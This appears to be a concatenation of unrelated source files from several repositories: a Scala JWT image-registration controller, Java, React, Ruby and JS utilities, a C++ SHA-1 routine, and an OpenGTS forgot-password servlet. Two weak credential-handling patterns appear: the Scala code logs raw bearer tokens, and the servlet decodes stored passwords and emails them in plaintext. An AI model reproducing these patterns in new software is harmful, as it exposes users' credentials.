NotFound
}
}
def instancePgpKeys(instanceId: String) = Action.async { implicit request =>
import domain._
implicit val timeout = Timeout(1.minute)
(instanceSharder ? InstanceSharder.Envelope(instanceId, InstanceAggregate.GetKeyFingerprint)).map {
case InstanceAggregate.CurrentKeyFingerprint(fingerprint) =>
Redirect(routes.KeyRingController.get(fingerprint.string))
case InstanceAggregate.DoesNotExist =>
NotFound
}
}
def imageRegistration = Action.async { implicit request =>
implicit val timeout = Timeout(1.minute)
val authHeaderRegex = "^Bearer (.*)$".r
request.headers.get("Authorization")
.collect { case authHeaderRegex(token) => token }
.map { token =>
InstanceSharder.resolveJwtInstanceId(token) match {
case Left(msg) =>
log.error(token)
Future.successful(BadRequest(msg))
case Right(instanceId) =>
(instanceSharder ? InstanceSharder.Envelope(instanceId, InstanceAggregate.VerifyJwt(token))).flatMap {
case InstanceAggregate.ValidJwt(instanceId) =>
log.debug(s"Valid JWT for $instanceId")
request.body.asText match {
case Some(uri) =>
(instanceSharder ? InstanceSharder.Envelope(instanceId, InstanceAggregate.AssociateImage(uri))).map { _ =>
Ok("")
}.recover {
case e => InternalServerError(e.getMessage)
}
case None =>
Future.successful(BadRequest("No valid image uri"))
}
case InstanceAggregate.InvalidJwt(msg) =>
log.warn(s"Invalid JWT: $msg\n${request.body}")
Future.successful(BadRequest(msg))
}
}
}
.getOrElse(Future.successful(Forbidden("No valid JWT provided")))
}
} |
onnoA/sample-collection | shop-common/src/main/java/com/onnoa/shop/common/distributed/primarykey/serialnumber/ISerialNumberGenerator.java | <reponame>onnoA/sample-collection
package com.onnoa.shop.common.distributed.primarykey.serialnumber;
import java.util.List;
/***
* 流水号生成器接口描述。<br>
* 注意:序列号模板和备注仅在第一创建时有效,用户初始化数据配置<br>
* 在第二次执行时,模板使用数据库中已有的,备注也不会被更新到数据库。
* @author 丁伟
* @date 2016年3月31日
* @version 1.0
*/
public interface ISerialNumberGenerator {
/**
* 生成一个流水号
*
* @param key 单据号产生标识号.每个流水号类型的key不能和其他的流水号的key相同。<br>
* 建议命名规则:{模块}_{系统}_{单据类型}
* @param template 序列号生成模板.格式如下:<br>
* {string:原样字符串} 说明:原样输出字符串 <br>
* {date:日期格式} 说明:格式化日期输出 <br>
* {sequence:宽度|流水号重置周期} 说明:输出流水号.宽度:流水号宽度。 流水号重置周期包括:day - 按日重置,
* month - 按月重置, year - 按年重置, no - 不重置 <br>
* {rnd:宽度} 说明: 产生随机数字,位数等于宽度<br>
* 例如:string:201,date:yyyyMMdd,sequence:6|no,rnd:4
* 生成的流水号可能是:2012015101200000012563
* @param remark 序列号说明
* @return
*/
public String generate(String key, String template, String remark);
/**
* 批量生成流水号
*
* @param key 单据号产生标识号.每个流水号类型的key不能和其他的流水号的key相同。<br>
* 建议命名规则:{模块}_{系统}_{单据类型}
* @param template 序列号生成模板.格式如下:<br>
* {string:原样字符串} 说明:原样输出字符串 <br>
* {date:日期格式} 说明:格式化日期输出 <br>
* {sequence:宽度|流水号重置周期} 说明:输出流水号.宽度:流水号宽度。 流水号重置周期包括:day - 按日重置,
* month - 按月重置, year - 按年重置, no - 不重置 <br>
* {rnd:宽度} 说明: 产生随机数字,位数等于宽度<br>
* 例如:string:201,date:yyyyMMdd,sequence:6|no,rnd:4
* 生成的流水号可能是:2012015101200000012563
* @param remark 序列号说明
* @param count 生成流水号的数量
* @return
*/
public List<String> generateBatch(String key, String template, String remark, int count);
}
|
jack-education-org/das-qna-config | components/AutoSave.js | <filename>components/AutoSave.js
import { FormSpy } from "react-final-form";
import { useState, useEffect } from "react";
import styled from "styled-components";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { faSave } from "@fortawesome/free-solid-svg-icons";
const AutoSaveHOC = ({ debounce, values, save }) => {
const [submitting, setSubmitting] = useState(false);
useEffect(() => {
const timeout = setTimeout(autoSave, debounce);
return () => clearTimeout(timeout);
}, [values]);
const autoSave = async () => {
setSubmitting(true);
await save(values);
setSubmitting(false);
};
return (
// submitting && (
<FixedSave className={submitting ? "is-saving" : undefined}>
<SaveIcon icon={faSave} width="0" /> Saving
</FixedSave>
// )
);
};
// Make a HOC
const AutoSave = props => (
<FormSpy
{...props}
subscription={{ values: true }}
component={AutoSaveHOC}
// onChange={props => {
// console.log("Form validity changed to", props);
// }}
/>
);
export default AutoSave;
const FixedSave = styled.div`
z-index: 0;
transition: opacity 0.2s ease-in;
opacity: 0;
&.is-saving {
transition: opacity 0.2s ease-out;
opacity: 1;
}
`;
const SaveIcon = styled(FontAwesomeIcon)`
color: #fff;
`;
|
markrickert/teacup | spec/ios/child_controllers_spec.rb | describe 'Child view controllers' do
tests RootViewController
it 'should have the correct color' do
@controller.child_controller.view.backgroundColor.should == UIColor.yellowColor
end
end |
harfang3dadmin/harfang3d | harfang/foundation/sha1.cpp | /*
Copyright (c) 2011, <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Micael Hildenborg nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY <NAME> ''AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL <NAME> BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
Contributors:
Gustav
Several members in the gamedev.se forum.
<NAME>
*/
#include "foundation/sha1.h"
namespace hg {
namespace sha1 {
namespace {
// Rotate an integer value to left.
inline const unsigned int rol(const uint32_t value, const uint32_t steps) { return ((value << steps) | (value >> (32 - steps))); }
// Sets the first 16 integers in the buffert to zero.
// Used for clearing the W buffert.
inline void clearWBuffert(uint32_t *buffert) {
for (int pos = 16; --pos >= 0;)
buffert[pos] = 0;
}
void innerHash(uint32_t *result, uint32_t *w) {
uint32_t a = result[0];
uint32_t b = result[1];
uint32_t c = result[2];
uint32_t d = result[3];
uint32_t e = result[4];
int32_t round = 0;
#define sha1macro(func, val) \
{ \
const uint32_t t = rol(a, 5) + (func) + e + val + w[round]; \
e = d; \
d = c; \
c = rol(b, 30); \
b = a; \
a = t; \
}
while (round < 16) {
sha1macro((b & c) | (~b & d), 0x5a827999)++ round;
}
while (round < 20) {
w[round] = rol((w[round - 3] ^ w[round - 8] ^ w[round - 14] ^ w[round - 16]), 1);
sha1macro((b & c) | (~b & d), 0x5a827999)++ round;
}
while (round < 40) {
w[round] = rol((w[round - 3] ^ w[round - 8] ^ w[round - 14] ^ w[round - 16]), 1);
sha1macro(b ^ c ^ d, 0x6ed9eba1)++ round;
}
while (round < 60) {
w[round] = rol((w[round - 3] ^ w[round - 8] ^ w[round - 14] ^ w[round - 16]), 1);
sha1macro((b & c) | (b & d) | (c & d), 0x8f1bbcdc)++ round;
}
while (round < 80) {
w[round] = rol((w[round - 3] ^ w[round - 8] ^ w[round - 14] ^ w[round - 16]), 1);
sha1macro(b ^ c ^ d, 0xca62c1d6)++ round;
}
#undef sha1macro
result[0] += a;
result[1] += b;
result[2] += c;
result[3] += d;
result[4] += e;
}
} // namespace
static void calc(const void *src, const size_t bytelength, unsigned char *hash) {
// Init the result array.
uint32_t result[5] = {0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0};
// Cast the void src pointer to be the byte array we can work with.
const unsigned char *sarray = (const unsigned char *)src;
// The reusable round buffer
uint32_t w[80];
// Loop through all complete 64byte blocks.
const size_t endOfFullBlocks = bytelength;
size_t endCurrentBlock;
size_t currentBlock = 0;
while ((currentBlock + 64) <= endOfFullBlocks) {
endCurrentBlock = currentBlock + 64;
// Init the round buffer with the 64 byte block data.
for (int roundPos = 0; currentBlock < endCurrentBlock; currentBlock += 4) {
// This line will swap endian on big endian and keep endian on little endian.
w[roundPos++] = (uint32_t)sarray[currentBlock + 3] | (((uint32_t)sarray[currentBlock + 2]) << 8) | (((uint32_t)sarray[currentBlock + 1]) << 16) |
(((uint32_t)sarray[currentBlock]) << 24);
}
innerHash(result, w);
}
// Handle the last and not full 64 byte block if existing.
endCurrentBlock = bytelength - currentBlock;
clearWBuffert(w);
size_t lastBlockBytes = 0;
for (; lastBlockBytes < endCurrentBlock; ++lastBlockBytes) {
w[lastBlockBytes >> 2] |= (uint32_t)sarray[lastBlockBytes + currentBlock] << ((3 - (lastBlockBytes & 3)) << 3);
}
w[lastBlockBytes >> 2] |= 0x80 << ((3 - (lastBlockBytes & 3)) << 3);
if (endCurrentBlock >= 56) {
innerHash(result, w);
clearWBuffert(w);
}
w[15] = (uint32_t)(bytelength << 3);
innerHash(result, w);
// Store hash in result pointer, and make sure we get in in the correct order on both endian models.
for (int hashByte = 20; --hashByte >= 0;)
hash[hashByte] = (result[hashByte >> 2] >> (((3 - hashByte) & 0x3) << 3)) & 0xff;
}
static void toHexString(const unsigned char *hash, char *hexstring) {
const char hexDigits[] = {"0123456789abcdef"};
for (int hashByte = 20; --hashByte >= 0;) {
hexstring[hashByte << 1] = hexDigits[(hash[hashByte] >> 4) & 0xf];
hexstring[(hashByte << 1) + 1] = hexDigits[hash[hashByte] & 0xf];
}
hexstring[40] = 0;
}
} // namespace sha1
void ComputeSHA1(const void *data, size_t size, std::array<unsigned char, 20> &hash) { sha1::calc(data, size, hash.data()); }
void ComputeSHA1(const std::string &source, SHA1Hash &hash) { ComputeSHA1(source.data(), source.length(), hash); }
std::string ComputeSHA1String(const void *data, size_t size) {
SHA1Hash hash;
ComputeSHA1(data, size, hash);
char hex[41];
sha1::toHexString(hash.data(), hex);
return {hex};
}
std::string ComputeSHA1String(const std::string &source) { return ComputeSHA1String(source.data(), source.length()); }
std::string to_string(const SHA1Hash &hash) {
char hex[41];
sha1::toHexString(hash.data(), hex);
return {hex};
}
} // namespace hg
|
openGtsD/OpenGTS_2.5.8 | src/org/opengts/war/track/page/ForgotPassword.java | <filename>src/org/opengts/war/track/page/ForgotPassword.java
// ----------------------------------------------------------------------------
// Copyright 2007-2015, GeoTelematic Solutions, Inc.
// All rights reserved
// ----------------------------------------------------------------------------
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// ----------------------------------------------------------------------------
// Change History:
// 2007/01/25 <NAME>
// -Initial release
// 2007/02/25 <NAME>
// -Included in standard OpenGTS release
// 2007/03/30 <NAME>
// -Added 'User' support
// 2007/06/03 <NAME>
// -Added I18N support
// 2007/06/13 <NAME>
// -Added support for browsers with disabled cookies
// 2007/07/27 <NAME>
// -Added 'getNavigationTab(...)'
// 2009/01/01 <NAME>
// -Added additional instructional text.
// 2009/12/16 <NAME>
// -Fixed creation of "Submit" button URL.
// 2012/02/03 <NAME>
// -Use Account "getDefaultUser()", if specified User-ID is blank
// 2012/12/24 <NAME>
// -Change "form" target to "_self" (rather than "_top")
// -Decreased minimum passord request retry from 20 minutes to 5 minutes.
// (see MIN_PASS_QUERY_DELTA_SEC)
// ----------------------------------------------------------------------------
package org.opengts.war.track.page;
import java.util.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.opengts.util.*;
import org.opengts.dbtools.*;
import org.opengts.db.*;
import org.opengts.db.tables.*;
import org.opengts.war.tools.*;
import org.opengts.war.track.*;
public class ForgotPassword
extends WebPageAdaptor
implements Constants
{
// ------------------------------------------------------------------------
// setting to 'false' may allow a would-be hacker to glean information such as valid
// account and user ids. While they may not be able to obtain the account/user password,
// knowing a valid account/user id may provide the hacker additional critical information
// for hacking in to the system. It is definately recommended that this value remain 'true'
// to increase the security of forgotten password requests.
private static final boolean SECURE_RESPONSE = true; // more secure when 'true'
//private static final boolean SECURE_RESPONSE = false; // definately not secure when false
// ------------------------------------------------------------------------
// Settng this value to 'true' allows sending a list of all account owned by a particular
// contact email address to the contact person.
private static final boolean SEND_ACCOUNT_LIST = false;
//private static final boolean SEND_ACCOUNT_LIST = true;
// ------------------------------------------------------------------------
private static final long MIN_PASS_QUERY_DELTA_SEC = DateTime.MinuteSeconds(5L);
public static final String COMMAND_EMAIL = "email";
public static final String PARM_EMAIL_SUBMIT = "email_submit";
public static final String PARM_EMAIL_ACCOUNT = "email_acct";
public static final String PARM_EMAIL_USER = "email_user";
public static final String PARM_EMAIL_ADDRESS = "email_addr";
public static final String CSS_FORGOT_PASSWORD[] = new String[] { "forgotPasswordTable", "forgotPasswordCell" };
// ------------------------------------------------------------------------
// WebPage interface
public ForgotPassword()
{
this.setBaseURI(RequestProperties.TRACK_BASE_URI());
this.setPageName(PAGE_PASSWD_EMAIL);
this.setPageNavigation(new String[] { PAGE_LOGIN });
this.setLoginRequired(false);
}
// ------------------------------------------------------------------------
public String getMenuName(RequestProperties reqState)
{
return "";
}
public String getMenuDescription(RequestProperties reqState, String parentMenuName)
{
PrivateLabel privLabel = reqState.getPrivateLabel();
I18N i18n = privLabel.getI18N(ForgotPassword.class);
return super._getMenuDescription(reqState,i18n.getString("ForgotPassword.menuDesc","Forgot your Password?"));
}
public String getMenuHelp(RequestProperties reqState, String parentMenuName)
{
PrivateLabel privLabel = reqState.getPrivateLabel();
I18N i18n = privLabel.getI18N(ForgotPassword.class);
return super._getMenuHelp(reqState,i18n.getString("ForgotPassword.menuHelp","Forgot Password"));
}
// ------------------------------------------------------------------------
public String getNavigationDescription(RequestProperties reqState)
{
//PrivateLabel privLabel = reqState.getPrivateLabel();
//I18N i18n = privLabel.getI18N(ForgotPassword.class);
return super._getNavigationDescription(reqState,"");
}
public String getNavigationTab(RequestProperties reqState)
{
//PrivateLabel privLabel = reqState.getPrivateLabel();
//I18N i18n = privLabel.getI18N(ForgotPassword.class);
return "";
}
// ------------------------------------------------------------------------
private static String sendAccountsForContactEMail(
PrivateLabel privLabel,
String contactEmail)
{
final I18N i18n = privLabel.getI18N(ForgotPassword.class);
String invalidError = i18n.getString("ForgotPassword.unableToSendEmail","Invalid Password Request.");
String internError = i18n.getString("ForgotPassword.internalError","Internal Error (contact system administrator).");
/* invalid ContactEmail? */
if (StringTools.isBlank(contactEmail)) {
Print.logWarn("No Contact Email specified");
return SECURE_RESPONSE? invalidError :
i18n.getString("ForgotPassword.noContactEmailSpecified","No contact email specified.");
}
/* list of owned accounts */
java.util.List<String> acctID = null;
try {
acctID = Account.getAccountIDsForContactEmail(contactEmail);
if (ListTools.isEmpty(acctID)) {
Print.logWarn("No Accounts owned by specified Contact Email");
return SECURE_RESPONSE? invalidError :
i18n.getString("ForgotPassword.noAccountsForContactEmail","No Account listed for this contact email.");
}
} catch (DBException dbe) {
Print.logException("Error reading Account", dbe);
return SECURE_RESPONSE? internError :
i18n.getString("ForgotPassword.errorReadingAccount","Internal error reading Account.");
}
/* Subject/Body */
String subj = i18n.getString("ForgotPassword.accountNameSubject","Account Name ...");
StringBuffer body = new StringBuffer();
if (ListTools.size(acctID) == 1) {
body.append(i18n.getString("ForgotPassword.accountNameText","Here is the account name managed by your contact email address:"));
body.append("\n");
} else {
body.append(i18n.getString("ForgotPassword.accountNamesText","Here are the account names managed by your contact email address:"));
body.append("\n");
}
for (String A : acctID) {
body.append(" "+i18n.getString("ForgotPassword.account","Account:")+" ");
body.append(A);
body.append("\n");
}
body.append("\n");
body.append(i18n.getString("ForgotPassword.doNotRespond","Please do not respond to this email."));
body.append("\n");
body.append(i18n.getString("ForgotPassword.pleaseDisregard","If you are not the intended recipient, please disregard this email."));
body.append("\n");
body.append("\n");
body.append(i18n.getString("ForgotPassword.thankYou","Thank you."));
body.append("\n");
/* send */
String from = privLabel.getEMailAddress(PrivateLabel.EMAIL_TYPE_PASSWORD);
String to = contactEmail;
if (StringTools.isBlank(from)) {
Print.logError("No 'From' email address specified");
return SECURE_RESPONSE? internError :
i18n.getString("ForgotPassword.missingFromAddress","Internal email configuration error ['From'].");
} else
if (StringTools.isBlank(to)) {
Print.logError("No 'To' email address specified");
return SECURE_RESPONSE? internError :
i18n.getString("ForgotPassword.missingToAddress","Internal email configuration error ['To'].");
} else {
String cc = null;
String bcc = null;
SendMail.SmtpProperties smtpProps = privLabel.getSmtpProperties();
boolean sent = EMail.send(from, to, cc, bcc, subj, body.toString(), smtpProps);
if (sent) {
Print.logInfo("Password email sent");
return null; // success
} else {
Print.logInfo("Password email not sent");
return internError;
}
}
}
// ------------------------------------------------------------------------
/* return the contact email for account/user */
private static String getContactEMailAddress(String accountID, String userID)
{
/* invalid accountID? */
if (StringTools.isBlank(accountID)) {
Print.logWarn("No Account specified");
return null;
}
/* get account */
Account account = null;
try {
account = Account.getAccount(accountID.trim());
if (account == null) {
Print.logWarn("Account doesn't exist: " + accountID);
return null; // account does not exist
}
} catch (Throwable t) {
Print.logWarn("Error reading Account: " + accountID);
return null; // error retrieving account
}
/* get user */
User user = null;
if (!StringTools.isBlank(userID)) {
try {
user = User.getUser(account, userID.trim());
if (user == null) {
Print.logWarn("User doesn't exist: " + userID);
return null; // user does not exist
}
} catch (Throwable t) {
Print.logWarn("Error reading User: " + userID);
return null; // error retrieving user
}
}
/* return contact email address */
return (user != null)? user.getContactEmail() : account.getContactEmail();
}
/* send password to contact email on file */
private static String sendAccountPassword(
PrivateLabel privLabel,
String accountID,
String userID,
String contactEmail)
{
final I18N i18n = privLabel.getI18N(ForgotPassword.class);
String invalidError = i18n.getString("ForgotPassword.unableToSendEmail","Invalid Password Request.");
String internError = i18n.getString("ForgotPassword.internalError","Internal Error (contact system administrator).");
/* invalid ContactEmail? */
if (StringTools.isBlank(contactEmail)) {
Print.logWarn("No Contact Email specified");
return i18n.getString("ForgotPassword.noContactEmailSpecified","No contact email specified.");
}
/* invalid accountID? */
if (StringTools.isBlank(accountID)) {
Print.logWarn("No Account specified");
return i18n.getString("ForgotPassword.noAccountSPecified","No Account specified.");
}
/* get account */
Account account = null;
try {
account = Account.getAccount(accountID);
if (account == null) {
Print.logWarn("Account doesn't exist: " + accountID);
return SECURE_RESPONSE? invalidError :
i18n.getString("ForgotPassword.accountNotExist","Specified Account does not exist.");
}
} catch (Throwable t) {
Print.logWarn("Error reading Account: " + accountID);
return SECURE_RESPONSE? internError :
i18n.getString("ForgotPassword.errorReadingAccount","Internal error reading Account.");
}
/* default user */
if (StringTools.isBlank(userID)) {
userID = StringTools.trim(account.getDefaultUser());
}
/* get user */
boolean hasUser = false;
User user = null;
if (!StringTools.isBlank(userID)) {
try {
user = User.getUser(account, userID);
if (user == null) {
Print.logWarn("User doesn't exist: " + userID);
return SECURE_RESPONSE? invalidError :
i18n.getString("ForgotPassword.userNotExist","Specified User does not exist.");
}
hasUser = true;
} catch (Throwable t) {
Print.logWarn("Error reading User: " + userID);
return SECURE_RESPONSE? internError :
i18n.getString("ForgotPassword.errorReadingUser","Internal error reading User.");
}
}
/* re-querying for password too soon since last query? */
long passwdQueryTime = hasUser? user.getPasswdQueryTime() : account.getPasswdQueryTime();
long deltaSinceLastQuery = DateTime.getCurrentTimeSec() - passwdQueryTime;
if (deltaSinceLastQuery < MIN_PASS_QUERY_DELTA_SEC) {
Print.logWarn("Too soon since last password query: " + accountID);
return /* SECURE_RESPONSE? invalidError : */
i18n.getString("ForgotPassword.requestTooSoon","Too soon since last password request.");
}
/* contact email matches? */
String emailAddress = hasUser? user.getContactEmail() : account.getContactEmail();
if (StringTools.isBlank(emailAddress)) {
Print.logWarn("No contact email address on file");
return SECURE_RESPONSE? invalidError :
i18n.getString("ForgotPassword.noContactEmailOnFile","No contact email address on file for this account.\\nPlease contact the system administrator for assistance");
} else
if (!contactEmail.equals(emailAddress)) {
Print.logWarn("Invalid contact email address: " + contactEmail + " [" + emailAddress + "]");
return SECURE_RESPONSE? invalidError :
i18n.getString("ForgotPassword.invalidContactEmail","Specified contact email does not match email on file.");
}
/* get password */
String decodedPass = hasUser?
user.getDecodedPassword(privLabel) :
account.getDecodedPassword(privLabel);
if (decodedPass == null) {
// password cannot be decoded, instead reset
try {
if (hasUser) {
decodedPass = user.resetPassword(privLabel); // not yet saved
user.update(User.FLD_password); // now save
} else {
decodedPass = account.resetPassword(privLabel); // not yet saved
account.update(Account.FLD_password); // now save
}
} catch (DBException dbe) {
// unable to save reset password
Print.logException("Unable to reset/save password", dbe);
decodedPass = "?";
}
}
/* email subject/body */
String gtsIdName = DBConfig.getServiceAccountName("GPS Tracking");
String subj = hasUser?
i18n.getString("ForgotPassword.userLogin","User Login ...") :
i18n.getString("ForgotPassword.accountLogin","Account Login ...");
String body = i18n.getString("ForgotPassword.emailBody",
"Here is your requested password, please keep it in a safe place:\n"+
" Password: {0}\n"+
"\n"+
"Please do not respond to this email.\n"+
"If you are not the intended recipient, Please disregard this email.\n"+
"\n"+
"Thank you.\n",
decodedPass);
/* send password */
//Print.logInfo("EMail body:\n" + body);
String from = privLabel.getEMailAddress(PrivateLabel.EMAIL_TYPE_PASSWORD);
String to = emailAddress;
if (StringTools.isBlank(from)) {
Print.logError("No 'From' email address specified");
return SECURE_RESPONSE? internError :
i18n.getString("ForgotPassword.missingFromAddress","Internal email configuration error ['From'].");
} else
if (StringTools.isBlank(to)) {
Print.logError("No 'To' email address specified");
return SECURE_RESPONSE? internError :
i18n.getString("ForgotPassword.missingToAddress","Internal email configuration error ['To'].");
} else {
String cc = null;
String bcc = null;
SendMail.SmtpProperties smtpProps = privLabel.getSmtpProperties();
boolean sent = EMail.send(from, to, cc, bcc, subj, body, smtpProps);
if (sent) {
Print.logInfo("Password email sent");
// reset password query time
try {
if (hasUser) {
user.setPasswdQueryTime(DateTime.getCurrentTimeSec());
user.update(new String[] { User.FLD_passwdQueryTime });
} else {
account.setPasswdQueryTime(DateTime.getCurrentTimeSec());
account.update(new String[] { Account.FLD_passwdQueryTime });
}
} catch (Throwable t) {
Print.logException("Updating LastPasswordQueryTime", t);
}
return null; // success
} else {
Print.logInfo("Password email not sent");
return internError;
}
}
}
// ------------------------------------------------------------------------
public void writePage(
final RequestProperties reqState,
final String pageMsg)
throws IOException
{
final PrivateLabel privLabel = reqState.getPrivateLabel();
final I18N i18n = privLabel.getI18N(ForgotPassword.class);
String m = "";
boolean error = false;
/* send account/password? */
if (reqState.getCommandName().equals(COMMAND_EMAIL)) {
HttpServletRequest request = reqState.getHttpServletRequest();
String submit = AttributeTools.getRequestString(request, PARM_EMAIL_SUBMIT, "");
if (SubmitMatch(submit,i18n.getString("ForgotPassword.submit","Submit"))) {
String accountID = StringTools.trim(AttributeTools.getRequestString(request, PARM_EMAIL_ACCOUNT,""));
String userID = StringTools.trim(AttributeTools.getRequestString(request, PARM_EMAIL_USER ,""));
String emailAddr = StringTools.trim(AttributeTools.getRequestString(request, PARM_EMAIL_ADDRESS,""));
if (StringTools.isBlank(emailAddr)) {
m = i18n.getString("ForgotPassword.enterEMail","Please enter your contact email address"); // UserErrMsg
error = true;
} else
if (!EMail.validateAddress(emailAddr)) {
m = i18n.getString("ForgotPassword.invalidEMail","An invalid email address was entered"); // UserErrMsg
error = true;
} else
if (StringTools.isBlank(accountID)) {
if (SEND_ACCOUNT_LIST) {
String errMsg = sendAccountsForContactEMail(privLabel, EMail.getEMailAddress(emailAddr));
if (!StringTools.isBlank(errMsg)) {
//Track.writeMessageResponse(reqState,
m = i18n.getString("ForgotPassword.unableToSendAccountEmail","Unable to send account list email for the following reason:") + "\n" + errMsg; // UserErrMsg
error = true;
} else {
Track.writeMessageResponse(reqState,
i18n.getString("ForgotPassword.sentAccounts","The Account list has been sent to the contact email on file."));
return;
}
} else {
m = i18n.getString("ForgotPassword.enterAccount","Please enter an Account ID"); // UserErrMsg
error = true;
}
} else {
String errMsg = sendAccountPassword(privLabel, accountID, userID, EMail.getEMailAddress(emailAddr));
if (!StringTools.isBlank(errMsg)) {
//Track.writeMessageResponse(reqState,
m = i18n.getString("ForgotPassword.unableToSendPasswordEmail","Unable to send password email for the following reason:") + "\n" + errMsg; // UserErrMsg
error = true;
} else {
Track.writeMessageResponse(reqState,
i18n.getString("ForgotPassword.sentPassword","The password has been sent to the contact email on file."));
return;
}
}
} else {
m = i18n.getString("ForgotPassword.cancelled","Cancelled"); // UserErrMsg
}
}
Print.logWarn(m);
/* Style */
HTMLOutput HTML_CSS = new HTMLOutput() {
public void write(PrintWriter out) throws IOException {
String cssDir = ForgotPassword.this.getCssDirectory();
WebPageAdaptor.writeCssLink(out, reqState, "ForgotPassword.css", cssDir);
}
};
/* write frame */
HTMLOutput HTML_CONTENT = new HTMLOutput(CSS_FORGOT_PASSWORD, m) {
public void write(PrintWriter out) throws IOException {
String menuURL = privLabel.getWebPageURL(reqState, PAGE_MENU_TOP);
String emailURL = privLabel.getWebPageURL(reqState, PAGE_PASSWD_EMAIL, COMMAND_EMAIL);
boolean usrLogin = privLabel.getUserLogin();
out.println("<span style='font-size:10pt; margin-bottom:7px;'>"+i18n.getString("ForgotPassword.instructions",
"To have your password sent to you, please enter your "+
"Login information and Contact Email Address "+
"(must match email address on file):") +
"</span>");
out.println("<hr/>");
out.println("<form name='Passwd_Email' method='post' action='"+emailURL+"' target='_self'>"); // target='_top'
out.println("<table>");
out.println(" <tr><td>"+i18n.getString("ForgotPassword.accountID","Account ID:")+"</td><td><input class='"+CommonServlet.CSS_TEXT_INPUT+"' type='text' name='"+PARM_EMAIL_ACCOUNT+"' value='' size='24' maxlength='32'></td></tr>");
if (usrLogin) {
out.println(" <tr><td>"+i18n.getString("ForgotPassword.userID","User ID:")+"</td><td><input class='"+CommonServlet.CSS_TEXT_INPUT+"' type='text' name='"+PARM_EMAIL_USER+"' value='' size='24' maxlength='32'></td></tr>");
}
out.println(" <tr><td>"+i18n.getString("ForgotPassword.contactEMail","Contact Email:")+"</td><td><input class='"+CommonServlet.CSS_TEXT_INPUT+"' type='text' name='"+PARM_EMAIL_ADDRESS+"' value='' size='40' maxlength='64'></td></tr>");
out.println("</table>");
out.println("<input type='submit' name='"+PARM_EMAIL_SUBMIT+"' value='"+i18n.getString("ForgotPassword.submit","Submit")+"'>");
out.println("</form>");
out.println("<hr>");
if (SEND_ACCOUNT_LIST) {
out.println("<span style='font-size:8pt'>"+i18n.getString("ForgotPassword.accountHelp1","To have a list of your managed accounts emailed to you,")+"<br>");
out.println(i18n.getString("ForgotPassword.accountHelp2","leave the 'Account ID' field blank.")+"</span>");
out.println("<hr>");
}
out.println("<a href='"+menuURL+"'>"+i18n.getString("ForgotPassword.cancel","Cancel")+"</a>");
}
};
/* write frame */
String onload = error? JS_alert(true,m) : null;
CommonServlet.writePageFrame(
reqState,
onload,null, // onLoad/onUnload
HTML_CSS, // Style sheets
HTMLOutput.NOOP, // JavaScript
null, // Navigation
HTML_CONTENT); // Content
}
}
|
p-koscielniak/hexagonjs | src/utils/date-localizer/index.js | import {
EventEmitter,
} from 'utils/event-emitter';
import {
preferences,
} from 'utils/preferences';
import {
userFacingText,
} from 'utils/user-facing-text';
import {
zeroPad,
} from 'utils/format';
import {
randomId,
range,
} from 'utils/utils';
import logger from 'utils/logger';
userFacingText({
'date-localizer': {
today: 'Today',
},
});
function isNumeric(stringOrNumber) {
return !Number.isNaN(Number(stringOrNumber));
}
class PreferencesHandler extends EventEmitter {
constructor() {
super();
this._ = {
uniqueId: randomId(),
};
preferences.on('localechange', `hx.date-time-localizer${this._.uniqueId}`, () => {
if (!this._.instanceLocale) {
this.emit('localechange', {
cause: 'api',
value: preferences.locale(),
});
}
});
preferences.on('timezonechange', `hx.date-time-localizer${this._.uniqueId}`, () => {
if (!this._.instanceTimezone) {
this.emit('timezonechange', {
cause: 'api',
value: preferences.timezone(),
});
}
});
}
locale(locale) {
if (arguments.length) {
if ((locale == null) || preferences.isLocaleSupported(locale)) {
this._.instanceLocale = !!locale;
this._.locale = locale;
this.emit('localechange', {
cause: 'api',
value: locale || preferences.locale(),
});
} else {
logger.warn(`${locale} is not a valid locale. If you think the locale should be added to the list contact the maintainers of hexagon`);
}
return this;
}
return this._.locale || preferences.locale();
}
timezone(timezone) {
if (arguments.length) {
if ((timezone == null) || preferences.isTimezoneSupported(timezone)) {
this._.instanceTimezone = !!timezone;
this._.timezone = timezone;
this.emit('timezonechange', {
cause: 'api',
value: timezone || preferences.timezone(),
});
} else {
logger.warn(`${timezone} is not a valid timezone`);
}
return this;
}
return this._.timezone || preferences.timezone();
}
}
/* eslint-disable class-methods-use-this */
class DateTimeLocalizer extends PreferencesHandler {
// get the display order for the date so dates can be displayed correctly when localised
dateOrder() {
return ['DD', 'MM', 'YYYY'];
}
// get the day the week starts on, 0 for sunday, 1 for monday etc.
weekStart() {
return 1;
}
// localise the days of the week and return as array of 2 char days ('Su', 'Mo' etc.)
weekDays() {
return ['Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Su'];
